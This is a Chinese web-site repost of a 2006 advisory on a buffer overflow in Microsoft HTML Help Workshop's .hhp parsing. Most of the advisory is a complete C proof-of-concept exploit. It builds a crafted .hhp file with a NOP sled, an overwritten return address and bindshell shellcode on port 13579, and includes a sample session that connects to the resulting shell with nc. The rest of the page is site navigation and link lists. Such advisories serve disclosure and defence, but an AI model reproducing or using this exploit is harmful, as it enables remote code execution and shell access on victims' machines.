文章分类 | 推荐文章 | 最新文章 | 热点文章 | 最新软件 | 精品软件 | 下载排行 | 推荐下载 | 免费看大片 | WPS | 杀毒软件
清风网络
首 页 软件下载 网络学院 数码学院
QQ 电脑入门 游戏 操作系统 图形处理 办公软件 媒体动画 精文荟萃 工具软件 网络编程 程序开发 网络技术 认证考试 网站建设 文章专栏
当前位置:清风网络学院网站建设HtmlMicrosoft HTML Help Workshop .hhp解析缓冲区溢出漏洞
精品推荐
特别推荐
·用CSS控制浏览器的滚动条
·marquee标记的用法
·HTML语言:什么是Unicode 什么是UTF-8
·XHTML编写网页代码的七条基本规范
·HTML和XHTML的区别
·HTML语言:什么是Unicode?什么是UTF-8?
·HTML 和 XHTML 区别
·HTML标记全集
·分析比较:三种简洁的Tab导航简析
·HTML教程-HTML简介
·网页Web标准化教程关于表格的应用
·网页代码常用小技巧总结续,网页制作学习
·HTML 标记参考手册
·用htc实现html编辑器
·HTML 4.0 语言快速入门参考教程
·初学:什么是DIV+CSS?有什么优势?
·网页制作实例CSS用一张图片实现圆角
·DIV CSS网页布局学习中容易出现的问题汇总
·HTML标签语义 科学合理的运用HTML标签
·53个CSS-不可或缺的技巧
热点TOP10
·弹出窗口代码集萃
·html教学+HTML语法大全
·图片左右循环连续滚动代码,解决marquee的留白问题
·网页设计基础:Div+CSS布局入门教程
·下拉列表框1下拉列表框2(HTML版)
·HTML标记全集
·解析Html页面:HTML Parser的试用
·在HTML网页中添加WMV格式播放器代码
·中国地区三级联动下拉菜单代码和示例(附带代码下载)
·53个CSS-不可或缺的技巧
·HTML 标记参考手册
·页面显示问题
·用层模拟下拉列表框
·CSS标准网页设计UL和DIV使用的技巧总结
·可移动层的实现示例
·CSS 制作的三级菜单特效代码
·兼容标准XHTML的浮动层特效实现
·HTML及XML语言的转义字符
·HTML 4.0 语言快速参考
·分析比较:三种简洁的Tab导航简析

Microsoft HTML Help Workshop .hhp解析缓冲区溢出漏洞

日期:2007年4月27日 作者: 查看:[大字体 中字体 小字体]




(出处:清风网络学院


信息提供:

安全公告(或线索)提供热线:51cto.editor@gmail.com

漏洞类别:

边界条件错误

攻击类型:

本地攻击

发布日期:

2006-2-7

更新日期:

2006-2-7

受影响系统:

Microsoft HTML Help Workshop 4.x

安全系统:

漏洞报告人:

bratax

漏洞描述:

Secunia Advisory: SA18740

Microsoft HTML Help Workshop是Microsoft提供的制作与编译.HLP帮助文件的编译器。

Microsoft HTML Help Workshop处理".hhp"文件存在问题,本地或者远程攻击者可以利用漏洞进行缓冲区溢出攻击,可提升权限。

当处理"Contents file"字段包含超长字符串的".hhp"文件时存在一个边界错误,诱使用户处理".hhp"文件可导致触发缓冲区溢出并允许执行人员指令。

测试方法:

/*

Microsoft HTML Help Workshop .hhp file Buffer Overflow Exploit

by bratax (http://www.bratax.be/)

-> greets to:

all my miffm00f buddies, BuzzDee and everyone else I forgot who should be in here

-> thx to:

Curt Wilson @ SIUC (maybe you don't know why but this exploit wouldn't

exist if we didn't have that conversation a long long time ago)

nolimit & buzzdee (I used most of your realplayer .smil exploit code because I

didn't feel like writing this code from scratch :p)

-> special thx to:

duksie, dwarf & turb00 (you guys know why)

C:\htmlws>poc2

Microsoft HTML Help Workshop Buffer Overflow.

Coded by bratax (http://www.bratax.be/).

Usage: C:\htmlws\PoC2.exe <outputfile>

C:\htmlws>poc2 new.hhp

File written.

Open with Microsoft Help Workshop to exploit.

C:\htmlws>nc -vv localhost 13579

DNS fwd/rev mismatch: RENEE != localhost

RENEE [127.0.0.1] 13579 (?) open

Microsoft Windows XP [versie 5.1.2600]

(C) Copyright 1985-2001 Microsoft Corp.

C:\htmlws>exit

*/

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

char pre[]=

"[OPTIONS]\n"

"Compatibility=1.1 or later\n"

"Compiled file=bratax.chm\n"

"Contents file=";

char end[]=

"Display compile progress=No\n"

"Language=0x813 Dutch (Belgium)\n\n\n"

"[INFOTYPES]";

char shellcode[]=

/* bindshell port 13579 thx to metasploit.com :) */

"\x29\xc9\x83\xe9\xaf\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x8f"

"\x35\x37\x85\x83\xeb\xfc\xe2\xf4\x73\x5f\xdc\xca\x67\xcc\xc8\x7a"

"\x70\x55\xbc\xe9\xab\x11\xbc\xc0\xb3\xbe\x4b\x80\xf7\x34\xd8\x0e"

"\xc0\x2d\xbc\xda\xaf\x34\xdc\x66\xbf\x7c\xbc\xb1\x04\x34\xd9\xb4"

"\x4f\xac\x9b\x01\x4f\x41\x30\x44\x45\x38\x36\x47\x64\xc1\x0c\xd1"

"\xab\x1d\x42\x66\x04\x6a\x13\x84\x64\x53\xbc\x89\xc4\xbe\x68\x99"

"\x8e\xde\x34\xa9\x04\xbc\x5b\xa1\x93\x54\xf4\xb4\x4f\x51\xbc\xc5"

"\xbf\xbe\x77\x89\x04\x45\x2b\x28\x04\x75\x3f\xdb\xe7\xbb\x79\x8b"

"\x63\x65\xc8\x53\xbe\xee\x51\xd6\xe9\x5d\x04\xb7\xe7\x42\x44\xb7"

"\xd0\x61\xc8\x55\xe7\xfe\xda\x79\xb4\x65\xc8\x53\xd0\xbc\xd2\xe3"

"\x0e\xd8\x3f\x87\xda\x5f\x35\x7a\x5f\x5d\xee\x8c\x7a\x98\x60\x7a"

"\x59\x66\x64\xd6\xdc\x66\x74\xd6\xcc\x66\xc8\x55\xe9\x5d\x02\x8e"

"\xe9\x66\xbe\x64\x1a\x5d\x93\x9f\xff\xf2\x60\x7a\x59\x5f\x27\xd4"

"\xda\xca\xe7\xed\x2b\x98\x19\x6c\xd8\xca\xe1\xd6\xda\xca\xe7\xed"

"\x6a\x7c\xb1\xcc\xd8\xca\xe1\xd5\xdb\x61\x62\x7a\x5f\xa6\x5f\x62"

"\xf6\xf3\x4e\xd2\x70\xe3\x62\x7a\x5f\x53\x5d\xe1\xe9\x5d\x54\xe8"

"\x06\xd0\x5d\xd5\xd6\x1c\xfb\x0c\x68\x5f\x73\x0c\x6d\x04\xf7\x76"

"\x25\xcb\x75\xa8\x71\x77\x1b\x16\x02\x4f\x0f\x2e\x24\x9e\x5f\xf7"

"\x71\x86\x21\x7a\xfa\x71\xc8\x53\xd4\x62\x65\xd4\xde\x64\x5d\x84"

"\xde\x64\x62\xd4\x70\xe5\x5f\x28\x56\x30\xf9\xd6\x70\xe3\x5d\x7a"

"\x70\x02\xc8\x55\x04\x62\xcb\x06\x4b\x51\xc8\x53\xdd\xca\xe7\xed"

"\xf1\xed\xd5\xf6\xdc\xca\xe1\x7a\x5f\x35\x37\x85";

char overflow[15000]; // 15k just to make sure :)

int main(int argc,char *argv[])

{

FILE *vuln;

if(argc == 1)

{

printf("Microsoft HTML Help Workshop Buffer Overflow.\n");

printf("Coded by bratax (http://www.bratax.be/).\n");

printf("Usage: %s <outputfile>\n",argv[0]);

return 0;

}

vuln = fopen(argv[1],"w");

//build overflow buffer here.

memset(overflow,0x90,sizeof(overflow)); //fill with nops

memcpy(overflow+272,"\x5d\x38\x82\x7c",4); //EIP (jmp esp)  1 of these is

memcpy(overflow+276,"\x5d\x38\x82\x7c",4); //EIP (jmp esp)  enough but was

memcpy(overflow+280,"\x5d\x38\x82\x7c",4); //EIP (jmp esp)  a bit lazy to

memcpy(overflow+284,"\x5d\x38\x82\x7c",4); //EIP (jmp esp)  find out the

memcpy(overflow+288,"\x5d\x38\x82\x7c",4); //EIP (jmp esp) correct one :p

memcpy(overflow+292,"\x5d\x38\x82\x7c",4); //EIP (jmp esp)

memcpy(overflow+300,shellcode,sizeof(shellcode)); //our shellcode after some nops to land in

if(vuln)

{

//Write file

fprintf(vuln,"%s%s\"/>\n%s",pre,overflow,end);

fclose(vuln);

}

printf("File written.\nOpen with Microsoft Help Workshop to exploit.\n");

return 0;

}





上一篇:Meta--容易被忽视的HTML元素

下一篇:Microsofts Dynamic HTML Editing Component (DEC) 大家可以看一下

Microsoft HTML Help Workshop .hhp解析缓冲区溢出漏洞 相关文章:
·IE浏览器再现严重安全漏洞 微软紧急发补丁程序
·中小企业整体网络安全解决方案解析
·魔法门7 攻略解析
·电脑使用一段时间后会变慢原因解析
·html教学+HTML语法大全
·[宠物]问道宝宝,肉盾,法宠,攻宠全面解析
·利用腾讯漏洞取回QQ密码
·SUN认证Java2程序员考试(SCJP) 试题解析
·下拉列表框1下拉列表框2(HTML版)
·[猎人]解析PK型猎人宠物选择
Microsoft HTML Help Workshop .hhp解析缓冲区溢出漏洞 相关软件:
·Microsoft Office Word Viewer 2003简体中文版 V1.0
·WorkHelper 办公助手v4.886
·Microsoft Office XP 简体中文零售原版ISO 中文正式版
·Microsoft SQL Server 2005 Enterprise Edition SP1简体中文企业版
·Microsoft Visio 2000 完全使用手册
·当代研究生英语听说 mp3+html
·Microsoft Project 2002教学手册
·Microsoft.SQL.Server.2005.简体中文开发版
·Win2000输入法漏洞最新官方补丁中文版
·飞龙文章系统上传漏洞

特别声明:本站除部分特别声明禁止转载的专稿外的其他文章可以自由转载,但请务必注明出处和原始作者。文章版权归文章原始作者所有。对于被本站转载文章的个人和网站,我们表示深深的谢意。如果本站转载的文章有版权问题请联系编辑人员,我们尽快予以更正。
[打印本页] [关闭窗口] 转载请注明来源:http://www.viphot.com
| 帮助(?) | 版权声明 | 友情连接 | 关于我们 | 信息发布
Copyright 2007 www.viphot.com All Rights Reserved. 鄂ICP备05000083号Powered by:viphot